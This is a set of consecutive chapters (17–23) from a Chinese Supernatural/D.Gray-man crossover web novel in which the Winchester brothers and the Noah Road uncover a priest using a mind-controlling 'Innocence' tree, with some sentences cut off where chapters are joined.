不论怎么翻找资料，文字中对诺亚的形容都不是什么超自然生物。 这无疑让人挫败。 一个不知如何杀死的生物明目张胆潜伏在他们身边，这对猎人来说实在是相当膈应。 把生死寄托在其他生物的善意上是最可怕的事情。 但，现状却已然很难改变。在研究有进展之前，鲍比不得不接 17.第 17 章 《[综主SPN]温彻斯特与诺亚》全本免费阅读 17 宗教团体之间似乎都有一些相似的共性，不论所谓的“神”是否真的存在，祂们都无疑起到了抚慰人心的作用，虽然其安慰人心的方式存在诸多不同。 不过，也正是因为这种安慰功能的普遍性，当一个教会推出此类项目的时候，便通常不会引起任何警觉。 即使这项活动需要远离社交、甚至完全脱离社会关系也全然说得过去。 宗教和邪｜教向来也只有一线之隔。 不过，有这样主动的机会，温彻斯特兄弟也自然欣然接受。 卡万神父给他们做了介绍，安排他们随时参与。 既然是要远离现代社会、回归纯真，那么修行地点的地点自然也就不是镇子里的教堂本身，而是在近郊的一座矮山上。 这就说得通了，教堂本身并不算大，珍妮一家三口再加上密苏里以及他们的车可没有那么好藏。 至少迪恩在萨姆单独拖住卡万神父的空档里，没有在教堂四周搜到什么禁止入内的房间。 公开意味着风险，几乎没有怪物会选择一个可以随意进出的地方作为巢穴。 只是他们现在还没有搞清楚，究竟是什么在这里作怪。 “卡万神父暂时安全，我用了银和圣水测试，至少他不是狼人、变形者或是恶魔什么的。”萨姆甩了甩手上的银十字，“教堂是圣地，所以大概率也不是鬼魂、女妖。” 迪恩认可了他的推测，“为了确保万无一失，我试过了EMF，没有鬼魂反应，教堂里没有冰点、没有灯光闪烁、没有奇怪的声音，也没有回避镜面，就是很——普通，正常的那种普通。” 冰点降温、电路异常、声音、影子还有镜面倒影，时常都能或多或少反映出或鬼或怪的真身。 他们所怀疑的教堂却一点异常问题都没有。 “你们难道就没有想过是人吗？”罗德听着他们的判断，提出了一个新思路，“我讨厌教堂，但我还是承认，教堂在大部分的情况下，都具有特定的神圣效果，普通的小怪是无法跨入的。可人就不一样了，不论是什么样的人——好的、坏的，善的、恶的，都可以随意进出。” 迪恩和萨姆面面相觑，在他们漫长的猎魔生涯里，人类有时确实能在最微妙的地方给他们以意料之外的打击。 别说是普通人，甚至连猎人都有可能成为敌人。 罗德所说的情况是他们必须要考虑的。 虽然多数情况下，那些人类犯罪并不在他们的工作范畴，但事及己身，威胁已经落到了他们的朋友头上，他们当然要上心。 不过，迪恩依然有自己的倾向性。 “如果不是怪物，珍妮和密苏里就不会想要联系我们兄弟俩。” 罗德只是笑笑，却并不接话。 她对怪物的了解确实不多，诺亚之中，她从来不是那个负责扫除威胁的人。 她所面对的敌人，也从来都不是邪恶之物。 “我和卡万神父约了明天，”萨姆扯回了正题，他刚才单独在教堂内已经完成了自己部分的工作，“他说会带我们去神树山，活动在那里展开。还有这个——” 他说着，掏出一个清单，上面先是一些生活用品、祷告用品和基础药物——这是教会活动的基础配备，神树山是不允许携带任何私人物品的，甚至连服装都要统一更换。 接着就是时间安排，从晨起祷告到夜晚冥想，每一个时间都有额定的事务。 两兄弟上一次经历这样严格的生活，还是在监狱的时候。 “甚至连车都要统一存放。” 萨姆单独提到，“教会会有专人存放我们的车，然后神父开车送我们去神树山。” 迪恩一愣，随即厉声道：“没有人能碰我的宝贝。” “没有人会碰她，OK？”萨姆安抚他，“我们已经知道了神树山的位置，只有不到两个小时的车程，难道还非要等到明天神父带我们去吗？” 论发挥主观能动性的重要程度。 他们的第一目标是救人，密苏里是灵媒，她一定能够感觉到一些兄弟俩感觉不到的，甚至有可能已经知道了所面对的敌人究竟是什么东西。 而且，在此处停留太久也并非好事。 “说起来还有一件事，鲍比让我们小心，之前酒吧的吸血鬼事件被FBI里一个什么科学部门接手了？我们的事儿可和科学挂不上一点关系。”迪恩抱怨着，把这个坏消息分享给了萨姆。 后者眉头一皱，短暂地思考后开口，“科学……BSU？Behavioral Science Unit，行为科学部。” “就是这个名字，你听过吗？” “嗯——FBI在斯坦福做过讲座和选拔，有这个部门的特邀讲师。”萨姆对这件事的印象很深，在决定考律师预科之前，他曾经选修过犯罪心理的相关学科。 或许，猎人的家庭确实给他带来了诸多无法根除的影响，他差点就从猎杀超自然怪物转向了追捕和怪物一样的 18.第 18 章 《[综主SPN]温彻斯特与诺亚》全本免费阅读 18 神树山的名号让迪恩·温彻斯特想到了过去办过的一个案子，一个被称为瓦尼尔的挪威的神灵，祂神力所寄居的具象化物质，就是一棵特别的苹果树——被当地人称为“第一树”。 现在，又有一个地方以“树”为核心，很难不让他联想到同样的经验。 迪恩在后备箱里准备好足够的汽油和岩盐，上一次杀死、或者说是驱散瓦尼尔神族影响的方式，就是烧掉了那棵代表着神力的树。 这次或许也不例外。 趁着太阳西沉，Impala朝着卡万神父给萨姆指明的方向潜入了近郊。 山附近的环境安静极了，出于谨慎，两人甚至没有让车开入那神树山的范围，而是将其藏在了山脚下的灌丛里。 神山不愧是神山，黑暗的天空下，竟然隐隐散发着荧光。 “萤火虫？”迪恩谨慎地握住了枪，在自己四岁之前那为数不多的记忆里扒拉着，“还是什么其他东西——我得说，我隐约记得这座山，以前可不叫什么‘神树山’。” 山的改名通常都有一些特别的原因。 这给神秘的地方更添了几分诡异。 “萤火虫喜欢遮蔽度高和湿度高的地方，这里没有那么‘宜居’，就算有也不会有这么密集的数量。”荧光的范围虽不大，却足够明亮，远看甚至像是一座高功率的灯塔。 但卡万神父说得很清楚，这座山上没有多余的现代化设施、不通电。 萨姆对光的判断，显然倾向于“异常”，“EMF没有反应。” ——所以，不是鬼魂类的精神系影响。 “上去看看就知道了。” 迪恩是个行动派，这座山并不算高，以他们的速度，哪怕是登顶也不会超过四十分钟。 萨姆跟着哥哥向前走了两步，却突然意识到罗德没有跟上来。 为了防止对方真的如玩笑般去“解决”FBI探员，鲍比专门嘱咐两兄弟要看好这个诺亚。 “罗德？” 他揪了揪迪恩的袖口，示意其停下。回过头，就见女孩儿仍然站在原地。她抬着头，注视着山上的“灯塔”。 光线直直地印在她的瞳孔里，仿佛给她的眼睛染了颜色。 “这……不可能。”她喃喃自语的声音并不大，但郊外的夜晚着实太过安静，故而每一个字都清晰地传到了温彻斯特兄弟的耳朵里。 萨姆随即警觉起来，过去的一段时间里，罗德的表现太过游刃有余，他还从来没有见过对方有这种神情，“什么‘不可能’？” 但罗德却连视线都没有转动一下，眉头微微一抽，直勾勾的视线中更添了几分叫人摸不清的情绪。 有惊有喜，但更多的是难以置信。 “罗德？” 萨姆往回一步，伸手正要落在罗德的肩膀，后者便像猛然回神一样，剧烈地呼吸着。 这是她人性变现最清晰的一次。 罗德挥手，一扇木门从地面拔地而起，挡在了她与兄弟俩之间，阻隔了萨姆的视线。 “咔嚓”。 这是明显的开门声。 萨姆意识到了什么，迅速绕开「门」的遮挡，转到另外一边。但罗德已经消失了，紧接着，他一转身，便毫无阻碍地看到了同样疑惑的迪恩。 只是一两个呼吸，「门」就完成了从出现、打开到消失的全过程。 迪恩摊开手，“她人呢？” “我不知道。”萨姆同样一脸懵。 鲍比还想让他们看住罗德，这比想象当中还要不现实，“也许上山了？她显然是看出了山上有什么。” 任何意外都从来不会带来好的结果。 迪恩暗骂了一声，招呼着萨姆赶紧出发。 他们要用更快的速度进入“神树”的范围。 不过，人的腿再快，也不会比罗德更快。 她穿过自己的能力，从山脚直达山顶。 和温彻斯特猜测的一样，发光的东西，就是这棵重新命名了山的树。 不是什么萤火虫、也不是什么灯光特效，而是树本身。 每一根枝丫，每一片叶子，甚至是叶子上的经络，都散发着透亮的光泽。 这是一种能量，一种特别的能量，一种罗德不能更加熟悉的力量。 “「圣洁」……”站在树前，她终于不得不承认，这个她认为已经消亡在历史中的力量，仍然鲜活地矗立在她面前。 甚至，冲着她，隐隐散发着威胁。 “什么人！” 这样一棵特别的树，显然在本地教会中被赋予了特殊的含义。 即使在深夜，也有人把守。 一阵鞋底摩擦草丛的声音传来，可罗德却丝毫不在意，没有一点回头的意思。 “这里是私人土地，小朋友，你的两个表哥没有教你不要闯入别人的地方吗？” 声音来自一个中年男人，他的语气显然不是在训斥教徒，而是清楚地知道罗德是个擅闯的陌生人，“如果是误入，我就要请你离开了。” 但对罗德来说，一个人类的声音，着实不会被他放在心上。 见她没有反应，只是依然痴痴地看着树上散发的荧光，那男人反而没有了最初的严厉，连眉眼都松了下来。 他从黑暗中走上前来，与罗德并排，用引诱的语气呢喃，“神父说得果然没错，神树选召的仆人们，都会被圣音传唤 19.第 19 章 《[综主SPN]温彻斯特与诺亚》全本免费阅读 19 温彻斯特兄弟的行动力都是被各种死亡威胁逼出来的，他们的体力从来异于常人。 并不算高的山，他们一阵极限挑战，把原本四十分钟的路程压缩到了二十分钟之内。 某些人甚至连一点疲惫感都没有。 迪恩低头，看着双手撑在膝盖上，弯腰喘息得连话都说不上来的弟弟，嘲笑道：“这就不行了？萨米，赶快，我们还有活儿要做。” “我、我——”萨姆的嗓子一阵干涩，不久之前听到的尖叫声促使他们不断加速，但人的体能是有极限的，他摆摆手，示意迪恩先走，“我，需要一分钟。” 玩偶的身体性质让迪恩面临着风险，尤其是当他面临的潜在对手是罗德的时候；但同时，在需要的时候，身体的性质也能派上用场。 迪恩上山上得游刃有余。 他不得不选择暂时接受现状，至少在鲍比对诺亚的研究有进展之前，他们很难限制罗德的行动。 不知什么时候，天空悬挂的月亮被厚重的乌云遮挡得严严实实，山顶的荧绿成了唯一光源。 夜风在树叶和灌丛中呼啸，仿佛此起彼伏的尖叫，衬托着山顶的环境异常诡异。 不，这好像不是风的尖叫，真是人的尖叫。 迪恩都还没有来得及离开萨姆，独自去寻找那棵“神树”的踪迹，就听到一阵凌乱的脚步声混杂着尖叫迅速靠近。 他谨慎地压低身体，将手枪上膛，挡在还在缓冲的萨姆身前。他的眼睛仿佛猫瞳一般，在黑暗中也能清晰地看到每一丝风吹草动。 “谁在那儿！”他大声地震慑，“出来，马上！” 那脚步明显因为他的声音而停顿，但那人并没有马上现身，似乎是恐惧着什么一样，在偷偷地辨别他们的身份。 萨姆的手电就在此时照射过去，突然明亮的光刺到了对面人的眼睛，让他下意识地闭眼回避了一秒。 但很快，对未知的恐惧驱使他重新寻找自己的视力，想要看清光线的来源。 “艾迪？艾迪·威森？”虽然惊恐让他的面相略有变形，但迪恩还是一眼就认出了他。 听到有人叫出了他的名字，艾迪先是惊喜了一瞬，但紧接着，他就逆光看到了萨姆的脸。一瞬间，他连呼吸都停了——几乎没有一点犹豫，扭头撒丫子就跑。 “喂——停下！”迪恩先是大吼一声，见对方完全没有停下来的意思，迪恩便毫不犹豫地冲着艾迪的方向开了一枪，子弹精准地擦过艾迪的鞋边，让他近乎僵直地停在了原地。 这一枪，不仅吓到了艾迪，也一样吓到了萨姆。 他没想到迪恩会这样直接对普通人开枪。 “迪恩？你在干什么？”萨姆撑着有些酸软的腿，跟上了迪恩的步伐。 “我说了让他停下，他不听。”迪恩没有放下枪，手指依然放在扳机上，准备着随时反击。 而不远处的艾迪根本没有给他任何“反击”的必要，当场举手跪地，连头都不敢回，带着哭腔求饶，“求求，别杀我——那些都是赫斯佩鲁斯的主意，我只是跟着做而已，我不是不是故意的。对不起，我真的、非常对不起——” 迪恩和萨姆对视一眼，也来不及安抚艾迪，直接问道：“做什么？你们做了什么？” “赫斯佩鲁斯发现了那棵树，他发现那棵树能够影响人的精神。我、我只是把树的汁液混入颜料里绘画，剩下的都是赫斯佩鲁斯和我爸爸，他们把汁液混入圣水和圣餐里分发，也许还有几次晚宴……赫斯佩鲁斯靠这个发财，我爸参加了市长选举，”艾迪颤抖地说着，“其他的我就都不知道了，真的——不是我愿意的，不是我愿意的，求求你们，别杀我……” 他把知道的东西倒豆子一样一股脑地丢了出来，不敢有一丝隐瞒。甚至连亲爹也毫不犹豫地推出来挡刀。 树果然是有问题的树，“影响精神”听上去就不是什么正常的东西。 迪恩掂了掂背包里的汽油和燃料，继续问道：“珍妮在哪？” “额、额——她不受神树的控制，即使在教堂喝了加料圣水，回到家里也会恢复正常。”艾迪用力地咽着唾沫，想要润一润已经黏在一起的喉咙，“赫斯佩鲁斯说她好像发现了什么，神父、神父说那女人联系了镇上的灵媒，他们得、他们得——” “他们得怎么样！？”只是一秒的停留，就让迪恩急躁地追问。 “他们得先下手为强！” 艾迪哭诉出声，泪泉腺像是关不住的水龙头，和背后的冷汗一样，不住地渗出，“和你们一样，对你们也要先下手为强！” “我们？”迪恩瞪大了眼睛，“你们知道我们今晚就会来吗！你们故意在等我和萨姆？” 萨姆往前走了一步，艾迪听到鞋底在草坪上摩擦的声音迅速抱头，止不住地求饶，“对不起、对不起——我不知道他们做了什么，我不知道他们会做什么，我只是听话，我没有参与、我发誓我没有！” 任谁都能意识到，艾迪这种极端的状态，不只是被枪吓到这么简单。 萨姆试探性地问他，“你看到罗德了吗？那个和我一起的女孩——表妹，你记得吗？” 听到他的话，艾迪瞳孔骤缩，肩膀缩在一起，全身抖如筛糠。他张开嘴却说不出完整的话，猛烈的呼吸已经让他的叫声越来越弱。 “嘿！嘿！”萨姆意识到对方已经出现了过呼吸的症状，慌忙从衣 20.第 20 章 《[综主SPN]温彻斯特与诺亚》全本免费阅读 20 诺亚的弱点以这样猝不及防的方式，被主动袒露在温彻斯特兄弟面前。 他二人对视，一时间有些难以置信。 什么样的人会主动将能杀死自己的刀递出去呢？ 除非这把刀事实上不能真的杀死她。 萨姆的大脑迅速反应过来，暗暗质疑着罗德表述的真实性——她或许没有说谎，但眼前的东西也一定不是轻易能够使用的武器。 “这么个方块，是武器？”迪恩又上前走了两步，终于确认，自己胸口的沉闷感就是来源于眼前的光亮。 那先前在教堂里，或许是那根被供奉的木枝在起作用？ 罗德抬手，感受着「圣洁」的光扎在掌心的刺痛，任由其威胁的散发，“「圣洁」的真正形态可不仅仅是你们现在所看到的模样，但可惜，你们都不是它的适格者。” “适格者？” 这又是个新名词，萨姆疑惑道。 “你要知道，这个世界上诸多强大的力量，都是需要特定使用者的——这种人就是适格者，「圣洁」就需要「圣洁」的适格者。”罗德的视线扫过兄弟二人的身体，“当然，有些力量需要的也不是适格者，而是容器。” 不用说别人，哪怕是诺亚，也会在选中的特定身体里觉醒。 从这个角度来讲，就连罗德自己都是“梦之诺亚”的适格者。 “所以，他是个方块版的妙尔尼尔*。”迪恩对标着自己的认知体系，瞬间理解。 但罗德却一皱眉，从字面上理解着迪恩的回应，“不是一个体系，雷神的那个大铁锤可不是「圣洁」，也杀不了我。” “……他指的是复仇者电影，”萨姆看着罗德更加明显的疑惑，意识到这种解释更加苍白，她和他们存在明显的认知差异，于是便干脆跳过了这个话题，“所以，适格者——只有适格者能够发挥圣洁的力量，也就是说这个「圣洁」的使用者是树？” 毕竟，这股特殊力量是起到了作用的。 根据艾迪的供词，“神树”的控制效果已经给赫斯佩鲁斯和威森一家带来了实际好处，而在此之前，「圣洁」所寄居的唯一地点，就是这棵已经倒塌的树。 “不，树只是一个载体。”罗德推倒它就是为了确认这一点，当载体损坏之后，圣洁如此轻易地析出，说明树和「圣洁」的连接并不算深，只是一个临时载体。 但奇就奇在，树本身不具有思考能力，这样的载体是无法驱动「圣洁」发力的。 除了那唯一的独立型圣洁厄考特姆（Apocryphos），其他的圣洁都是没有自主思考能力的。 它不应该能思考，就一定有人在驱动。 究竟是什么人在驱动「圣洁」？ 首先排除赫斯佩鲁斯和艾迪·威森，太容易杀了——而根据适格者的血液传承性，艾迪没有一点适格性，说明和他有血缘关系的父母大概率也不是。 那这里还有谁？ 还有谁站在赫斯佩鲁斯和威森的背后操纵一切？ 距离罗德的时代已经过去太久，她甚至没有想到这个世界仍有「圣洁」在运行，关于适格者，她更是一点头绪都理不出来。 她将「圣洁」本体抛在身后，尝试借用属于这个时代的温彻斯特来解开这个谜题，让那二人听罢她的参考意见，便思考着他们这一行的其他异常。 从进入劳伦斯到现在，谁才是真正的既得利益者？ 最有嫌疑的赫斯佩鲁斯和威森，一个用自己的命、一个用几乎失常的精神帮他们排除了两个错误答案。 “神父……”萨姆喃喃自语，各种线索在他的大脑中重新整合，“如果，神父不是指赫斯佩鲁斯呢？” “你什么意思？”迪恩问。 “我是说，如果从最一开始，珍妮语音留言中的‘神父’，还有艾迪口中的‘神父’就不是指赫斯佩鲁斯，而是指别人呢！”言语说出口，萨姆的思路便更加清晰，“想想看艾迪的话，他一直在用名字代指赫斯佩鲁斯，为什么中间会穿插‘神父’这个身份代称？他显然惊慌失措，说话根本难以思考。在逻辑都不清晰的情况下，他只会用最精简、最直接的方式来交流，不应该分出两个词来指同一个人的。” ——“赫斯佩鲁斯说她好像发现了什么，神父说那女人联系了镇上的灵媒，他们得先下手为强。” 这是艾迪的原话。 那个状态下的他根本没有精力来编织谎言、制造语言陷阱，他只会用最熟悉的称呼来完成表达。 赫斯佩鲁斯既年轻又和威森家交好，比起神圣感，他显然更加市侩，像个生意人。 艾迪直呼他的名字是正常的——潜意识里，“神父”这个尊称也不会落到赫斯佩鲁斯的身上。 “卡万，神父卡万！”迪恩马上反应过来，那个老资格的教堂领导，才是本地人心中“神父”的代称。 他也提到过，艾迪自小在教堂中长大——这个惯性的尊称就说得通了！ “我用圣水和银试过他，还以为他‘干净’了——但，适格者根本没必要是怪物，可以是人类，对吧！” “不是‘可以是人类’，而是绝大部分都是人类。”罗德给了看向她的迪恩以肯定的答案。 “他是故意把我们引到这里来的，FUCK！”迪恩暗骂了一声，“他专门把我们引到了教堂的木枝前，看到我们没有受控，所以故意提到了这里。他知道我们提前一个晚上来，所以才让赫斯佩鲁斯、艾迪等着我们！” 这是想要把兄弟俩当作隐患排除掉。 或许不是“杀”，而是“控制”。 萨姆跟着他的思路回溯，“珍妮给密苏里电话当中的‘滋滋’声应该不是超自然力量，而是窃听器的影响，她或许和密苏里提到了我们的名字，所以最一开始就知道我们会来。” 有了前因才有后果——当初艾迪·威森这么个小年轻能瞬间反应过来离开多年的温彻斯特，是因为他原本就是被刻意嘱咐过的。 卡万神父对本地的熟悉让他知道该如何用父母的话题，吊起兄弟俩的胃口；也知道如何用珍妮一家做局，将他们引到神树山来。 他们来到这里的每一步，都在卡万的眼皮子底下。 只是后者没有预料到，他们带来的这个最无害的“表妹”，反而是最危险的那个。 可就在这时，变故突生！ 「圣洁」一亮，光线引导着方块拉长成刺，直直地从背后穿过了罗德的胸口。 兄弟俩的瞳孔骤缩，根本没有 21.第 21 章 《[综主SPN]温彻斯特与诺亚》全本免费阅读 21 「圣洁」影响下的卡万神父，着实不像是个正常人，反倒像是个被「圣洁」操纵的傀儡。 适格者，难道就是这么个适格法？ “放心，天父会洗净你们的罪孽，将你们引入天堂。”卡万神父张开双手，引导着「圣洁」的力量将兄弟二人包围了起来。 迪恩冷笑一声，“真遗憾啊，恐怕我的灵魂还在地狱的清单上。”他抬手，毫不犹豫地对着神父开了一枪。 银弹对「圣洁」并无影响，但却意外地穿过了卡万神父的身体。 这股力量没有在保护他吗？ 神父胸腔间的洞口流出液体——不是正常人该有的鲜红血液，而是和树身上一样的汁液。 透过这个洞口观察，身体内部的结构也清晰可见。 正常人该有的内脏、血管似乎都不存在，他就像是一个空壳子，被浓郁的汁液支撑着，站在他们面前。 太扭曲了。 扭曲得让人恶心。 “天堂啊……呵呵呵呵——他们可去不了天堂。你也去不了，连灵魂都被吞的一点不剩了，还谈什么天堂？”清脆的笑声从他们身后传来，罗德不知什么时候已经坐在了草坪上，抓着那根长刺，一点一点地拔了出来，“不了解我本质的人，是无法杀死我的哦——别说是这一个「圣洁」，就是亚连*那把退魔的剑，都是无法这样轻易杀死我的。” 她将那根长刺握在掌心之中，用力一压—— “咔咔！” 长刺的表面龟裂成纹。 “还是少做点白日梦吧。”罗德将手中的实体碾碎，绿色的晶体渣子散落在地，“神父先生，你没有听教团说过吗？强行适应「圣洁」，可是会咎落的……啊！我忘了，教团已经消失了，对吧。” 萨姆的脸上闪过一丝了然，他就知道，能够被罗德主动暴露出来的“弱点”绝不会简单，一定有着表面看不出来大坑。 果然如此。 即使卡万神父的做法激进，但这样的下场也委实可怕。 没有了圣洁力量的维系，卡万神父先是一顿，接着便直直地倒在了地上。像一个水气球似的，弹了几下，被子弹刮开洞口咕咕流动着，汁液铺满了草地。 这画面有些像变形怪*蜕皮的模样，但粘液带来的恶心程度，绝对要再上一层楼。 但就这样极端的状况，卡万竟然还没有死，他的嘴开开合合，似乎还在自顾自地说着什么。仿佛根本没有意识到自己的现状，只是沉浸在自己的世界里。 “他、他没有感觉吗？”萨姆试探性地用脚戳了戳卡万的身体，后者的皮囊深切地展示了皮肤——这一人体最大器官的延展性，抛开那个弹口流动的粘液不谈，被撑开的部分皮肤清透Q弹，荧光映照着皮肤的肌理，竟还有种矿石的美感。 “感觉？看看他的身体，你认为他的神经系统还在吗？”迪恩嫌弃地看着萨姆脚尖上沾染的粘液，卡万的眼球不知什么时候被顶了出来，完整地滚落在地，“说真的，我见过很多恶心的东西，但这个真的太过了。” “他只有一句话是对的，「圣洁」确实是你们上帝的造物，是神的力量没错，但——正因如此，它才可怕。你们的上帝，可是很可怕的，”罗德眼神幽深，隐约带着愤懑，毫不客气地diss着上帝，“神父不是「适格者」，强行使用就是这样的后果。” 她被穿刺的胸口没有留下一点伤痕，只有衣服的破口证明了攻击的存在。罗德蹲在神父面前，看着那些被「圣洁」力量溶解的身体，心中仍有不解。 她虽然用了“咎落”这个词，但事实上，所谓的咎落指的是适格者的堕落、指的是适格者资格丧失后的反噬。 非适格者想要强行使用「圣洁」几乎是不可能的事。 否则，即便强行使用「圣洁」的副作用如此大，可她所在的时代，驱魔师们、教团的成员们为了击败恶魔和诺亚无所不用其极，甚至尝试过将人类的身体改造成半恶魔。如果真有可以强行驱动「圣洁」的办法，哪怕是要把人命当做消耗品，教团也一定应该尝试的。 但为什么，罗德从来没有听说过呢？ “我们要怎么处理这里的结晶？”迪恩在萨姆极不赞成的眼神中捡起了一片「圣洁」碎，荧亮的边缘看上去非常锋利，像个刀片，“留在这里太危险了。” 谁知道「圣洁」还会碰上什么样的控制者。 从各种意义上来说都很危险。 “啊——那个「圣洁」碎了，没有载体和「适格者」的话，它的力量很快就会消散。”罗德挑着眼仰视迪恩，“「圣洁」是我们诺亚的弱点，相对的，我们也是它们的弱点。” 就像水和火，本来就是相互克制的东西，端看是那边的力量大了。 “是吗？”迪恩端详着碎片，这上面的光亮可没有一点暗淡下去的意思。 突然——就在迪恩的眼皮子底下——那个碎片突然行动了 22.第 22 章 《[综主SPN]温彻斯特与诺亚》全本免费阅读 22 谁也没有想到，失踪的密苏里·莫斯利会以这样的方式出现在他们面前。 卡万神父的话尤然在耳，本来已经让人觉得，密苏里凶多吉少，可—— 「圣洁」碎片此时就环绕在密苏里身边，仿佛一条银河，将她拱卫其中。 罗德可不认得她，火烛毫不犹豫地飞冲出去，穿刺在密苏里的身上。 “不、罗德，停下——那是密苏里！密苏里，你在做什么，赶紧停下来！我们是温彻斯特，我是迪恩，你现在用的可不是什么好东西，那会杀了你的！”迪恩大喊着，可转头去看密苏里的时候，对方却并未因灼伤而表露分毫痛苦，瞪着大大的眼睛，眼神没有因为“温彻斯特”这个关键词表现出一点动摇，甚至是完全的目不斜视。 这个不正常的状态，倒是似曾相识。 “等等——”萨姆赶紧挡在密苏里身前，阻止了罗德的第二波火烛，“她是被控制了，被「圣洁」。” 这个结论获取得太容易了。 密苏里的眼睛泛着和卡万神父一样的颜色，让人一眼便能识别。 “她不是敌人，更不是坏人。”萨姆急促地解释着。 “哦，”罗德的反应冷淡，她裙摆上密集的洞口伴随着她的移动而透风，“那可真是太巧了，我也不是什么好人。” 她金瞳一亮，挥手间，透明骰子被拉成了高度超过两米的长方体，“砰”的一声，长方体的六面封死成一个密闭空间，将兄弟俩关在了不同的方向。 温彻斯特兄弟对她来说仍有用处，她并不打算让杀死他们，只是将他们关在了她制造的空中牢笼里。 透明的骰子壁相当坚硬，任凭子弹和刀口如何剐蹭都无法伤其分毫。 兄弟俩遥遥相望，却连声音都传达不到对面。 诺亚力量的气息一泄露，「圣洁」碎片便兴奋了起来，向前飞舞着和火烛交接——这些火烛的蜡体可没有看上去那么柔软，对上锋利的碎片也丝毫不落下风。 「圣洁」根本就没有考虑过对手的强度，这样毫无顾虑的战斗，和人类常用的自杀式攻击并无太多区别。 “没有精神世界？”罗德尝试编织她最熟悉的梦——毕竟她最想要的不是战斗的胜利，而是搞清楚战斗背后、「圣洁」运作的原因——但眼前的女人完全是个傀儡，她的精神世界没有一丝波动。 即使在梦中将她的精神杀死，对现状也没有丝毫影响。 这让罗德彻底确认，不是人在控制「圣洁」，而是「圣洁」在控制人。 这就意味着，眼前的「圣洁」仿佛过去的独立「圣洁」——「厄考特姆」一样，拥有了一定独立思考的能力。 这不是普通「圣洁」该有的力量。 进化？ 诺亚和教团交战的千年里都没有变化的东西，却在诺亚和教团都消亡之后，开始了自己的进化？ 可萨姆、迪恩——甚至是鲍比·辛格那样的猎人万事通都没有听过任何类似的「圣洁」事件—— 看看卡万神父的下场，再看看现在密苏里的模样，「圣洁」的影响足够显眼、足够异常，它们没有掩饰自己的意识，一旦出现，多多少少都会成为猎人们的调查目标。 一旦成为调查目标，就一定会留下痕迹。 猎人群体中从未有过痕迹便说明，「圣洁」可能存在的进化也是最近才开始的事件。 ——进化不会毫无缘由，一定有什么刺激源的存在。 “只有诺亚能够刺激「圣洁」，其他恶魔都没有这个资格。”罗德是最清楚的，「圣洁」是被上帝创造出来，专门用来对付诺亚的武器。它以绝对敌对的立场，和诺亚有着极端的联系，能够刺激它到如此程度的，只有诺亚！ 就像眼前「圣洁」的直接攻击性表露，也是在罗德用诺亚的力量推倒了树后。 是诺亚的力量，刺激到了「圣洁」。 只是……萨姆调查过了，这里的异常——「圣洁」开始有明显反应和影响——是在至少一个月以前。 卡万神父的身体也清晰地验证了这一点，人的身体没有那么容易溶解成神父的状态，那需要足够长的时间。 但一个月前，她还没有被萨姆·温彻斯特从封印中释放出来。 那也就是说—— 罗德的眼睛睁大，瞳孔骤缩，呼吸骤然加重，不可控地喃喃自语道：“除我以外，还有其他的诺亚……”她的眼眶一阵发热，精神完全陷入了自己的思绪里，“可城镇之中，我并没有感应到谁——不不不，我不应该这样武断，未必是这里，也许是其他地方……” 和诺亚们依赖着千年伯爵为核心的感应连接系统不同，任意「圣洁」之间，都有相互连接的感应。未必是这里的「圣洁」接触到了诺亚，也可能是其他地方的。 只要一个「圣洁」受到刺激进化，所有的「圣洁」或早或晚都会有所改变。 她被解封后根本没有抱过什么希望、她甚至不敢重回一次诺亚方舟——可这么广阔的世界，一定有其他活着的兄弟姐妹，就在她没有注意到的地方。 罗德用力地闭上了眼，毫无依凭的心突然落到了实处。 她本以为是，在那之后——在亚连得到「圣心」之后、在千年公死亡之后、在她被封印之后，诺亚一族已经再不存在了。 谁能想到、谁能想到…… “哈——这是真的啊……哈哈哈，哈哈——”罗德的嘴上扬，脸上的痴痴的笑清澈得仿佛净水中的涟漪，断断续续不敢大声的笑音像是害怕惊扰了自己的美梦。 解封以来，她还从来没有流露过如此真实的情感。 罗德这样专注，以至于根本没有意识到，她注意分散下的火烛早就失去了支撑的动力，不知什么时候已经被「圣洁」碎片撕扯干净。 迪恩的拳头砸在骰壁上，大声地呼和着想要引起罗德的注意，但对方脸上那种感动、欣喜和怅然重叠交织在一起的情绪，占据了一切，让人动容。 诚然，他们和罗德的相处绝不算融洽、那些「圣洁」碎片或许不会真的杀死罗德，但这不代表迪恩能对这样的场景无动于衷。 他一手重重地砸在骰壁上，大吼了一声—— “STOP！” 或许也是因为罗德的分神 23.第 23 章 《[综主SPN]温彻斯特与诺亚》全本免费阅读 23 有适格者的「圣洁」和没有适格者的「圣洁」完全就是两个物种。 一个是武器，另一个则是可怕的寄生生物。 或许是卡万神父的尸体冲击太过强烈，即使有了罗德的保证，萨姆依然难以完全放下心来。 毕竟迪恩这个适格者的身份实在是疑点重重，许多连罗德这个对「圣洁」了解至深的人都无法解释。 “首先，「圣洁」所绑定的适格者一向都是实体——当然也有不是人类的时候……但，我的玩偶毫无疑问是「圣洁」所排斥的东西，你究竟是为什么会成为适格者的？如果不是适格者，你又是怎么能让「圣洁」成为你的武器的呢？” 疑点重重。 罗德检查过迪恩的枪，确定了它属于装备型「圣洁」。 「圣洁」的四种大类，装备型，寄生型，自立型和结晶型。 罗德给迷惑的二人解释道：“装备型的数量最多，这种类型的「圣洁」和适格者联系最少、对适格者的影响也最小。” 当然，也最好对付。 装备型「圣洁」就等于一件武器，武器更容易被夺走的。 “另一方面，寄生型的话就更棘手些——别这么紧张嘛，寄生型不等于寄生，和神父的状态有本质的区别。只是「圣洁」的力量会表现在适格者的身体上而已。比如手，亚连的「圣洁」最初就是寄生型。” 寄生型本身并不会腐蚀适格者，相反，寄生型的「圣洁」更容易起到出其不意的效果。 “结晶型就比较特殊了，它并不是单独存在的类型，通常是寄生型或装备型的进化。进化条件很难界定。不过，这种类型的「圣洁」确实足够强大。”很少会有一个「圣洁」就能单独和诺亚抗衡的情况，而结晶型的圣洁无疑是打破这种局面的极稀有类型。 罗德没有多提的是，任何强大都需要代价。 结晶型的强度是适格者本身的生命力填补起来的——要她来说，结晶型才该称“寄生”。 不过，进化可以被放弃，正确使用的「圣洁」至少不会让适格者变成卡万神父的模样。 “自立型的话，顾名思义，自然就是有自我意志的「圣洁」，这些类型之间不兼容，不可能同时是两种类型。” 本来，罗德很确定自立型的圣洁只有一个，那就是「圣心」的守护者厄考特姆；她原也很确定，厄考特姆已经被破坏掉了。 毕竟亲眼所见之事，总该不会出错。 但，这次可是「圣洁」——即使现在确定了其是装备型圣洁——主动寻找宿主、利用人类的精神力和生命力为养分支撑「圣洁」本身的自主行动，也是只有自立型圣洁才具备的特征。 